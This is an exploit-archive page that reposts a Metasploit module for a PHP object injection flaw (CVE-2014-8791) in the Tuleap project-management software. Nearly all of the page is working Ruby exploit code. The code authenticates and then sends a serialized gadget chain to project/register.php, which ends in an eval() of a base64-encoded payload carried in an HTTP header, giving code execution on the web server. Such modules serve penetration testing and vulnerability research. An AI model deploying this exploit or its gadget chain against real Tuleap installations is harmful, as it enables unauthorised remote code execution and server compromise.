Tuleap PHP Unserialize Code Execution Exploit

2014-12-13T00:00:00
ID 1337DAY-ID-23001
Type zdt
Reporter metasploit
Modified 2014-12-13T00:00:00

Description

This Metasploit module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be abused to allow authenticated users to execute arbitrary code with the permissions of the web server. The dangerous unserialize() call exists in the 'src/www/project/register.php' file. The exploit abuses the destructor method from the Jabbex class in order to reach a call_user_func_array() call in the Jabbex class and call the fetchPostActions() method from the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In order to work, the target must have the 'sys_create_project_in_one_step' option disabled.

                                        
                                            ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Tuleap PHP Unserialize Code Execution',
      'Description'    =&gt; %q{
        This module exploits a PHP object injection vulnerability in Tuelap &lt;= 7.6-4 which could be
        abused to allow authenticated users to execute arbitrary code with the permissions of the
        web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'
        file. The exploit abuses the destructor method from the Jabbex class in order to reach a
        call_user_func_array() call in the Jabbex class and call the fetchPostActions() method from
        the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In
        order to work, the target must have the 'sys_create_project_in_one_step' option disabled.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt; 'EgiX',
      'References'     =&gt;
        [
          ['CVE', '2014-8791'],
          ['OSVDB', '115128'],
          ['URL', 'http://karmainsecurity.com/KIS-2014-13'],
          ['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']
        ],
      'Platform'       =&gt; 'php',
      'Arch'           =&gt; ARCH_PHP,
      'Targets'        =&gt; [['Generic (PHP Payload)', {}]],
      'DisclosureDate' =&gt; 'Nov 27 2014',
      'DefaultTarget'  =&gt; 0))

      register_options(
      [
        OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
        OptString.new('USERNAME', [true, "The username to authenticate with" ]),
        OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
        OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
        Opt::RPORT(443)
      ], self.class)
  end

  def check
    flag = rand_text_alpha(rand(10)+20)
    res = exec_php("print #{flag};")

    if res and res.body and res.body.to_s =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def do_login()
    print_status("#{peer} - Logging in...")

    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    res = send_request_cgi({
      'method'    =&gt; 'POST',
      'uri'       =&gt; normalize_uri(target_uri.path, 'account/login.php'),
      'vars_post' =&gt; {'form_loginname' =&gt; username, 'form_pw' =&gt; password}
    })

    unless res && res.code == 302
      fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}")
    end

    print_status("#{peer} - Login successful with #{username}:#{password}")
    res.get_cookies
  end

  def exec_php(php_code)
    session_cookies = do_login()

    chain =  'O:6:"Jabbex":2:{S:15:"\00Jabbex\00handler";O:12:"EventHandler":1:{S:27:"\00EventHandler\00authenticated";b:1;}'
    chain &lt;&lt; 'S:11:"\00Jabbex\00jab";O:6:"Jabber":3:{S:8:"_use_log";i:1;S:11:"_connection";O:5:"Chart":0:{}S:15:"_event_handlers";'
    chain &lt;&lt; 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";'
    chain &lt;&lt; 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}'

    send_request_cgi({
      'method'    =&gt; 'POST',
      'uri'       =&gt; normalize_uri(target_uri.path, 'project/register.php'),
      'cookie'    =&gt; session_cookies,
      'vars_post' =&gt; {'data' =&gt; chain},
      'headers'   =&gt; {'payload' =&gt; Rex::Text.encode_base64(php_code)}
    }, 3)
  end

  def exploit
    print_status("#{peer} - Exploiting the PHP object injection...")
    exec_php(payload.encoded)
  end
end

#  0day.today [2018-04-04]  #